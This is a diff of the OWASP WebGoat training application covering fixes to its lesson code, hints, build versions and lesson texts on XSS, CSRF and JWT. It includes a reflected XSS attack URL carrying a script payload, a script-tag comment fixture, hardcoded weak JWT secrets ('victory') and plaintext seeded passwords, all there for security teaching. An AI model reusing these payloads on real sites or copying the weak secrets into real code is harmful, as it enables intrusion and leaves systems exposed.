String insertData1 = "INSERT INTO user_system_data VALUES ('101','jsnow','passwd1', '')";
|
String insertData1 = "INSERT INTO user_system_data VALUES (101,'jsnow','passwd1', '')";
|
||||||
String insertData2 = "INSERT INTO user_system_data VALUES ('102','jdoe','passwd2', '')";
|
String insertData2 = "INSERT INTO user_system_data VALUES (102,'jdoe','passwd2', '')";
|
||||||
String insertData3 = "INSERT INTO user_system_data VALUES ('103','jplane','passwd3', '')";
|
String insertData3 = "INSERT INTO user_system_data VALUES (103,'jplane','passwd3', '')";
|
||||||
String insertData4 = "INSERT INTO user_system_data VALUES ('104','jeff','jeff', '')";
|
String insertData4 = "INSERT INTO user_system_data VALUES (104,'jeff','jeff', '')";
|
||||||
String insertData5 = "INSERT INTO user_system_data VALUES ('105','dave','dave', '')";
|
String insertData5 = "INSERT INTO user_system_data VALUES (105,'dave','passW0rD', '')";
|
||||||
statement.executeUpdate(insertData1);
|
statement.executeUpdate(insertData1);
|
||||||
statement.executeUpdate(insertData2);
|
statement.executeUpdate(insertData2);
|
||||||
statement.executeUpdate(insertData3);
|
statement.executeUpdate(insertData3);
|
||||||
|
@ -17,7 +17,7 @@ public class UserForm {
|
|||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=20)
|
@Size(min=6, max=20)
|
||||||
@Pattern(regexp = "[a-zA-Z0-9]*", message = "can only contain letters and digits")
|
@Pattern(regexp = "[a-zA-Z0-9-]*", message = "can only contain letters, digits, and -")
|
||||||
private String username;
|
private String username;
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=10)
|
@Size(min=6, max=10)
|
||||||
|
@ -79,6 +79,7 @@ define(['jquery',
|
|||||||
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
this.listenTo(this.lessonHintView, 'hints:hideButton', this.onHideHintsButton);
|
||||||
this.lessonContentView.navToPage(pageNum);
|
this.lessonContentView.navToPage(pageNum);
|
||||||
this.lessonHintView.hideHints();
|
this.lessonHintView.hideHints();
|
||||||
|
this.lessonHintView.showFirstHint();
|
||||||
//this.lessonHintView.selectHints();
|
//this.lessonHintView.selectHints();
|
||||||
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
this.titleView.render(this.lessonInfoModel.get('lessonTitle'));
|
||||||
return;
|
return;
|
||||||
@ -160,7 +161,7 @@ define(['jquery',
|
|||||||
}
|
}
|
||||||
//
|
//
|
||||||
this.lessonHintView.render();
|
this.lessonHintView.render();
|
||||||
if (this.lessonHintView.getHintsCount > 0) {
|
if (this.lessonHintView.getHintsCount() > 0) {
|
||||||
this.helpControlsView.showHintsButton();
|
this.helpControlsView.showHintsButton();
|
||||||
} else {
|
} else {
|
||||||
this.helpControlsView.hideHintsButton();
|
this.helpControlsView.hideHintsButton();
|
||||||
|
@ -32,7 +32,11 @@ define(['jquery',
|
|||||||
}
|
}
|
||||||
this.set('content',content);
|
this.set('content',content);
|
||||||
this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson'));
|
this.set('lessonUrl',document.URL.replace(/\.lesson.*/,'.lesson'));
|
||||||
this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1'));
|
if (/.*\.lesson\/(\d{1,4})$/.test(document.URL)) {
|
||||||
|
this.set('pageNum',document.URL.replace(/.*\.lesson\/(\d{1,4})$/,'$1'));
|
||||||
|
} else {
|
||||||
|
this.set('pageNum',0);
|
||||||
|
}
|
||||||
this.trigger('content:loaded',this,loadHelps);
|
this.trigger('content:loaded',this,loadHelps);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
@ -32,21 +32,19 @@ function($,
|
|||||||
|
|
||||||
toggleLabel: function() {
|
toggleLabel: function() {
|
||||||
if (this.isVisible()) {
|
if (this.isVisible()) {
|
||||||
$('show-hints-button').text('Hide hints');
|
$('#show-hints-button').text('Hide hints');
|
||||||
} else {
|
} else {
|
||||||
$('show-hints-button').text('Show hints');
|
$('#show-hints-button').text('Show hints');
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
render:function() {
|
render:function() {
|
||||||
if (this.isVisible()) {
|
if (this.isVisible()) {
|
||||||
this.$el.hide(350);
|
this.$el.hide(350, this.toggleLabel.bind(this));
|
||||||
} else if (this.hintsToShow.length > 0) {
|
} else if (this.hintsToShow.length > 0) {
|
||||||
this.$el.show(350);
|
this.$el.show(350, this.toggleLabel.bind(this));
|
||||||
}
|
}
|
||||||
|
|
||||||
this.toggleLabel()
|
|
||||||
|
|
||||||
if (this.hintsToShow.length > 0) {
|
if (this.hintsToShow.length > 0) {
|
||||||
this.hideShowPrevNextButtons();
|
this.hideShowPrevNextButtons();
|
||||||
}
|
}
|
||||||
@ -90,9 +88,9 @@ function($,
|
|||||||
|
|
||||||
hideHints: function() {
|
hideHints: function() {
|
||||||
if (this.$el.is(':visible')) {
|
if (this.$el.is(':visible')) {
|
||||||
this.$el.hide(350);
|
this.$el.hide(350, this.toggleLabel.bind(this));
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|
||||||
showNextHint: function() {
|
showNextHint: function() {
|
||||||
this.curHint = (this.curHint < this.hintsToShow.length -1) ? this.curHint+1 : this.curHint;
|
this.curHint = (this.curHint < this.hintsToShow.length -1) ? this.curHint+1 : this.curHint;
|
||||||
@ -106,6 +104,12 @@ function($,
|
|||||||
this.displayHint(this.curHint);
|
this.displayHint(this.curHint);
|
||||||
},
|
},
|
||||||
|
|
||||||
|
showFirstHint: function() {
|
||||||
|
this.curHint = 0;
|
||||||
|
this.hideShowPrevNextButtons();
|
||||||
|
this.displayHint(this.curHint);
|
||||||
|
},
|
||||||
|
|
||||||
displayHint: function(curHint) {
|
displayHint: function(curHint) {
|
||||||
if(this.hintsToShow.length == 0) {
|
if(this.hintsToShow.length == 0) {
|
||||||
// this.hideHints();
|
// this.hideHints();
|
||||||
|
@ -123,8 +123,9 @@
|
|||||||
<section class="main-content-wrapper">
|
<section class="main-content-wrapper">
|
||||||
<section id="main-content"> <!--ng-controller="goatLesson"-->
|
<section id="main-content"> <!--ng-controller="goatLesson"-->
|
||||||
<div id="lesson-page" class="pages">
|
<div id="lesson-page" class="pages">
|
||||||
<span th:text="${numUsers}"> Users in WebGoat</span>
|
<span th:text="${numUsers}"></span>
|
||||||
<!-- iterate over users below -->su
|
<span> Users in WebGoat</span>
|
||||||
|
|
||||||
<div sec:authorize="hasAuthority('WEBGOAT_ADMIN')">
|
<div sec:authorize="hasAuthority('WEBGOAT_ADMIN')">
|
||||||
<h3>WebGoat Users</h3>
|
<h3>WebGoat Users</h3>
|
||||||
<div th:each="user : ${allUsers}">
|
<div th:each="user : ${allUsers}">
|
||||||
|
8
webgoat-images/vagrant-training/Vagrantfile
vendored
8
webgoat-images/vagrant-training/Vagrantfile
vendored
@ -19,17 +19,17 @@ Vagrant.configure(2) do |config|
|
|||||||
end
|
end
|
||||||
|
|
||||||
config.vm.provision "shell", inline: <<-SHELL
|
config.vm.provision "shell", inline: <<-SHELL
|
||||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webgoat-server-8.0.0.RELEASE.jar
|
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webgoat-server-8.0.0.M21.jar
|
||||||
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.RELEASE/webwolf-8.0.0.RELEASE.jar
|
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M21/webwolf-8.0.0.M21.jar
|
||||||
sudo add-apt-repository ppa:openjdk-r/ppa
|
sudo add-apt-repository ppa:openjdk-r/ppa
|
||||||
sudo apt-get update
|
sudo apt-get update
|
||||||
sudo apt-get install openjdk-8-jre -y
|
sudo apt-get install openjdk-8-jre -y
|
||||||
SHELL
|
SHELL
|
||||||
|
|
||||||
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
|
config.vm.provision "shell", run: "always", privileged: false, inline: <<-SHELL
|
||||||
java -jar webgoat-server-8.0.0.RELEASE.jar &
|
java -jar webgoat-server-8.0.0.M21.jar --server.address=0.0.0.0 &
|
||||||
sleep 40s
|
sleep 40s
|
||||||
java -jar webwolf-8.0.0.RELEASE.jar
|
java -jar webwolf-8.0.0.M21.jar --server.address=0.0.0.0 &
|
||||||
SHELL
|
SHELL
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -58,7 +58,7 @@ public class AccountVerificationHelper {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("seQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
|
if (submittedQuestions.containsKey("secQuestion1") && !submittedQuestions.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
<build>
|
<build>
|
||||||
<plugins>
|
<plugins>
|
||||||
|
@ -49,10 +49,7 @@ import org.owasp.encoder.*;
|
|||||||
|
|
||||||
import static org.springframework.http.MediaType.ALL_VALUE;
|
import static org.springframework.http.MediaType.ALL_VALUE;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
import static org.springframework.web.bind.annotation.RequestMethod.GET;
|
||||||
|
|
||||||
@ -72,20 +69,19 @@ public class StoredXssComments extends AssignmentEndpoint {
|
|||||||
comments.add(new Comment("secUriTy", DateTime.now().toString(fmt), "<script>console.warn('unit test me')</script>Comment for Unit Testing"));
|
comments.add(new Comment("secUriTy", DateTime.now().toString(fmt), "<script>console.warn('unit test me')</script>Comment for Unit Testing"));
|
||||||
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "This comment is safe"));
|
comments.add(new Comment("webgoat", DateTime.now().toString(fmt), "This comment is safe"));
|
||||||
comments.add(new Comment("guest", DateTime.now().toString(fmt), "This one is safe too."));
|
comments.add(new Comment("guest", DateTime.now().toString(fmt), "This one is safe too."));
|
||||||
comments.add(new Comment("guest", DateTime.now().toString(fmt), "Can you post a comment, calling webgoat.customjs.phoneHome() ?"));
|
comments.add(new Comment("guest", DateTime.now().toString(fmt), "Can you post a comment, calling webgoat.customjs.phoneHome() ?"));
|
||||||
}
|
}
|
||||||
|
|
||||||
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE)
|
@RequestMapping(method = GET, produces = MediaType.APPLICATION_JSON_VALUE,consumes = ALL_VALUE)
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public Collection<Comment> retrieveComments() {
|
public Collection<Comment> retrieveComments() {
|
||||||
Collection<Comment> allComments = Lists.newArrayList();
|
List<Comment> allComments = Lists.newArrayList();
|
||||||
Collection<Comment> newComments = userComments.get(webSession.getUserName());
|
Collection<Comment> newComments = userComments.get(webSession.getUserName());
|
||||||
|
allComments.addAll(comments);
|
||||||
if (newComments != null) {
|
if (newComments != null) {
|
||||||
allComments.addAll(newComments);
|
allComments.addAll(newComments);
|
||||||
}
|
}
|
||||||
|
Collections.reverse(allComments);
|
||||||
allComments.addAll(comments);
|
|
||||||
|
|
||||||
return allComments;
|
return allComments;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -5,7 +5,7 @@ xss-reflected-5a-failure=Try again. We do want to see this specific javascript (
|
|||||||
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
xss-reflected-5b-success=Correct ... because <ul><li>The script was not triggered by the URL/QueryString</li><li>Even if you use the attack URL in a new tab, it won't execute (becuase of response type). Try it if you like.</li></ul>
|
||||||
xss-reflected-5b-failure=Nope, pretty easy to guess now though.
|
xss-reflected-5b-failure=Nope, pretty easy to guess now though.
|
||||||
xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
|
xss-reflected-6a-success=Correct! Now, see if you can send in an exploit to that route in the next assignment.
|
||||||
xss-reflected-6a-failure=No, look at the example. Check the GoatRouter.js file. It should be pretty easy to determine.
|
xss-reflected-6a-failure=No, look at the example. Check the <a href="/WebGoat/js/goatApp/view/GoatRouter.js" target="_blank">GoatRouter.js</a> file. It should be pretty easy to determine.
|
||||||
xss.lesson1.failure=Are you sure? Try using a tab from a different site.
|
xss.lesson1.failure=Are you sure? Try using a tab from a different site.
|
||||||
xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
|
xss-dom-message-success=Correct, I hope you didn't cheat, using the console!
|
||||||
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.
|
xss-dom-message-failure=Incorrect, keep trying. It should be obvious in the log when you are successful.
|
||||||
|
@ -4,7 +4,7 @@ You should have been able to execute script with the last example. At this point
|
|||||||
|
|
||||||
Why is that?
|
Why is that?
|
||||||
|
|
||||||
That is because there is no link that would tigger that XSS.
|
That is because there is no link that would trigger that XSS.
|
||||||
You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to):
|
You can try it yourself to see what happens ... go to (substitute localhost with your server's name or IP if you need to):
|
||||||
|
|
||||||
link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('myjavascripthere')</script>4128+3214+0002+1999&field2=111
|
link: http://localhost:8080/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert('my%20javascript%20here')</script>4128+3214+0002+1999&field2=111
|
||||||
|
@ -1,15 +1,15 @@
|
|||||||
== Ientify Potential for DOM-Based XSS
|
== Identify Potential for DOM-Based XSS
|
||||||
|
|
||||||
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code.
|
DOM-Based XSS can usually be found by looking for the route configurations in the client-side code.
|
||||||
Look for a route that takes inputs that you can ID being 'reflected' to the page.
|
Look for a route that takes inputs that are being 'reflected' to the page.
|
||||||
|
|
||||||
For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library).
|
For this example, you'll want to look for some 'test' code in the route handlers (WebGoat uses backbone as its primary javascript library).
|
||||||
Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).
|
Sometimes, test code gets left in production (and often times test code is very simple and lacks security or any quality controls!).
|
||||||
|
|
||||||
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
|
Your objective is to find the route and exploit it. First though ... what is the base route? As an example, look at the URL for this lesson ...
|
||||||
it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/5 (although maybe slightly different). The 'base route' in this case is:
|
it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is:
|
||||||
*start.mvc#lesson/*
|
*start.mvc#lesson/*
|
||||||
|
The *CrossSiteScripting.lesson/9* after that are parameters that are processed by the javascript route handler.
|
||||||
|
|
||||||
The *CrossSiteScripting.lesson/#* after that are parameters that are processed by javascript route handler.
|
So, what is the route for the test code that stayed in the app during production?
|
||||||
|
To answer this question, you have to check the javascript source.
|
||||||
So, what is test route for this test code?
|
|
@ -8,4 +8,4 @@ The function you want to execute is ...
|
|||||||
|
|
||||||
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.
|
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.
|
||||||
|
|
||||||
Once you do trigger it, a subsequent response will come to the browser with a random number. Put that random number in below.
|
Once you do trigger it, a subsequent response will come to your browser's console with a random number. Put that random number in below.
|
||||||
|
@ -6,6 +6,6 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
</project>
|
</project>
|
@ -64,11 +64,11 @@ public class CSRFFeedback extends AssignmentEndpoint {
|
|||||||
|
|
||||||
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
|
||||||
String referer = request.getHeader("referer");
|
String referer = request.getHeader("referer");
|
||||||
String origin = request.getHeader("origin");
|
String host = request.getHeader("host");
|
||||||
if (referer != null) {
|
if (referer != null) {
|
||||||
return !referer.contains(origin);
|
return !referer.contains(host);
|
||||||
} else {
|
} else {
|
||||||
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -20,7 +20,7 @@
|
|||||||
action="/WebGoat/csrf/basic-get-flag"
|
action="/WebGoat/csrf/basic-get-flag"
|
||||||
enctype="application/json;charset=UTF-8">
|
enctype="application/json;charset=UTF-8">
|
||||||
<input name="csrf" type="hidden" value="false"/>
|
<input name="csrf" type="hidden" value="false"/>
|
||||||
<input type="submit" name="ubmit="/>
|
<input type="submit" name="submit"/>
|
||||||
|
|
||||||
</form>
|
</form>
|
||||||
|
|
||||||
|
@ -16,9 +16,11 @@ the activities of the user.
|
|||||||
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
|
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
|
||||||
|
|
||||||
{blank}
|
{blank}
|
||||||
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper]
|
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper].
|
||||||
|
|
||||||
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. First create a user
|
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack.
|
||||||
based on your own username prefixed with csrf. So if your username is `tom` you must create
|
Leave this tab open and in another tab create a user based on your own username prefixed with `csrf-`.
|
||||||
a new user called `csrf-tom`
|
So if your username is `tom` you must create a new user called `csrf-tom`.
|
||||||
|
|
||||||
|
Login as the new user. This is what an attacker would do using CSRF. Then click the button in the original tab.
|
||||||
|
Because you are logged in as a different user, the attacker learns that you clicked the button.
|
||||||
|
@ -46,7 +46,7 @@ public class CSRFFeedbackTest extends LessonTest {
|
|||||||
mockMvc.perform(post("/csrf/feedback/message")
|
mockMvc.perform(post("/csrf/feedback/message")
|
||||||
.contentType(MediaType.TEXT_PLAIN)
|
.contentType(MediaType.TEXT_PLAIN)
|
||||||
.cookie(new Cookie("JSESSIONID", "test"))
|
.cookie(new Cookie("JSESSIONID", "test"))
|
||||||
.header("origin", "localhost:8080")
|
.header("host", "localhost:8080")
|
||||||
.header("referer", "webgoat.org")
|
.header("referer", "webgoat.org")
|
||||||
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
|
||||||
.andExpect(jsonPath("lessonCompleted", is(true)))
|
.andExpect(jsonPath("lessonCompleted", is(true)))
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -1,6 +1,6 @@
|
|||||||
=== Mitigation
|
=== Mitigation
|
||||||
|
|
||||||
In this simple example you noticed that the price is calculated server side and send to the server. The server
|
In this simple example you noticed that the price is calculated client-side and sent to the server. The server
|
||||||
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
|
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
|
||||||
the price of the television in your database and calculate the total price again.
|
the price of the television in your database and calculate the total price again.
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
</project>
|
</project>
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
<parent>
|
<parent>
|
||||||
<groupId>org.owasp.webgoat.lesson</groupId>
|
<groupId>org.owasp.webgoat.lesson</groupId>
|
||||||
<artifactId>webgoat-lessons-parent</artifactId>
|
<artifactId>webgoat-lessons-parent</artifactId>
|
||||||
<version>v8.0.0.M16</version>
|
<version>v8.0.0.M22</version>
|
||||||
</parent>
|
</parent>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
@ -1,6 +1,7 @@
|
|||||||
package org.owasp.webgoat.plugin;
|
package org.owasp.webgoat.plugin;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
import com.google.common.collect.Lists;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
import org.owasp.webgoat.assignments.AssignmentPath;
|
import org.owasp.webgoat.assignments.AssignmentPath;
|
||||||
@ -23,7 +24,7 @@ import java.util.List;
|
|||||||
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
|
||||||
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String JWT_SECRET = "victory";
|
public static final String JWT_SECRET = TextCodec.BASE64.encode("victory");
|
||||||
private static final String WEBGOAT_USER = "WebGoat";
|
private static final String WEBGOAT_USER = "WebGoat";
|
||||||
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@ import io.jsonwebtoken.Claims;
|
|||||||
import io.jsonwebtoken.Jwt;
|
import io.jsonwebtoken.Jwt;
|
||||||
import io.jsonwebtoken.JwtException;
|
import io.jsonwebtoken.JwtException;
|
||||||
import io.jsonwebtoken.Jwts;
|
import io.jsonwebtoken.Jwts;
|
||||||
|
import io.jsonwebtoken.impl.TextCodec;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
import org.owasp.webgoat.assignments.AssignmentEndpoint;
|
||||||
import org.owasp.webgoat.assignments.AssignmentHints;
|
import org.owasp.webgoat.assignments.AssignmentHints;
|
||||||
@ -25,7 +26,6 @@ import java.time.Duration;
|
|||||||
import java.time.Instant;
|
import java.time.Instant;
|
||||||
import java.util.Date;
|
import java.util.Date;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.concurrent.TimeUnit;
|
|
||||||
|
|
||||||
import static java.util.Comparator.comparingLong;
|
import static java.util.Comparator.comparingLong;
|
||||||
import static java.util.Optional.ofNullable;
|
import static java.util.Optional.ofNullable;
|
||||||
@ -39,7 +39,7 @@ import static java.util.stream.Collectors.toList;
|
|||||||
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
|
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
|
||||||
public class JWTVotesEndpoint extends AssignmentEndpoint {
|
public class JWTVotesEndpoint extends AssignmentEndpoint {
|
||||||
|
|
||||||
public static final String JWT_PASSWORD = "victory";
|
public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
|
||||||
private static String validUsers = "TomJerrySylvester";
|
private static String validUsers = "TomJerrySylvester";
|
||||||
|
|
||||||
private static int totalVotes = 38929;
|
private static int totalVotes = 38929;
|
||||||
|
@ -63,15 +63,15 @@ whether the location is still the same if not revoke all the tokens and let the
|
|||||||
=== Need for refresh tokens
|
=== Need for refresh tokens
|
||||||
|
|
||||||
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
|
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
|
||||||
about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an
|
about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an
|
||||||
